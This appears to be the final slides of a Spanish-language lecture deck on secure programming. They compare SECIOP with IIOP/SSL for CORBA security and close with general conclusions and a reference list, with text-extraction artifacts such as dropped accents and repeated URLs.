-Define extensiones a IIOP que lo hacenconscientede aspectos de seguridad
-El protocolo incluye aspectos de autentificacinbasado en credenciales, para estableces asociaciones
- El trfico se encripta en una subcapa del protocoloSECIOP llamada GSSAPI, por lo que no se requierede SSL debajo
IIOP seguro: SECIOP
SECIOP vs IIOP/SSL
5/21/2018 Program Ac i on Segura
105/107
- IIOP/SSL tiene un mayor nivel de difusin,debido a que SSL es una tecnologa madura
- SECIOP permite autentificar a nivel de objetos,SSL a nivel de conexin
- En casos en que el acceso a cada objeto va por unaconexin separada, ambos ofrecen el mismo poder
- En caso de hacer tunneling debido, por ejemplo, arestricciones de NAT, SECIOP sigue manteniendo lagranularidad a nivel de objetos, SSL no
SECIOP vs. IIOP/SSL
Conclusiones
5/21/2018 Program Ac i on Segura
106/107
Extensin del rol de la seguridad
Revisin de las arquitecturas, APIS, Frameworks,clases, paquetes.
Conciencia del buenprogramador
Reutilizacin de componentes de seguridad(Autenticacin, Criptografa, Certificados, Firmas )
Entornos privativos y Libre ofrecen soporte paraaplicaciones seguras.
NO olvidar manejo de memoria, pilas, buffers
Referencias
5/21/2018 Program Ac i on Segura
107/107
Java Cryptography Architecture. API Specifications & Reference,
http://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.html
Jan Kleindienst. CORBA and Java Compared: Security. Dept. ofComputer Science,Faculty of Mathematic and Physic,Charles
University, Prague
The Open Web Application Security Project http://www.owasp.org/
SecurityFocus http://www.securityfocus.org/
Help Net Security http://www.net-security.org/
Secure Coding http://www.securecoding.org/list/
http://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.htmlhttp://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.htmlhttp://www.owasp.org/http://www.securityfocus.org/http://www.net-security.org/http://www.securecoding.org/list/http://www.securecoding.org/list/http://www.net-security.org/http://www.net-security.org/http://www.net-security.org/http://www.securityfocus.org/http://www.owasp.org/http://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.htmlhttp://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.html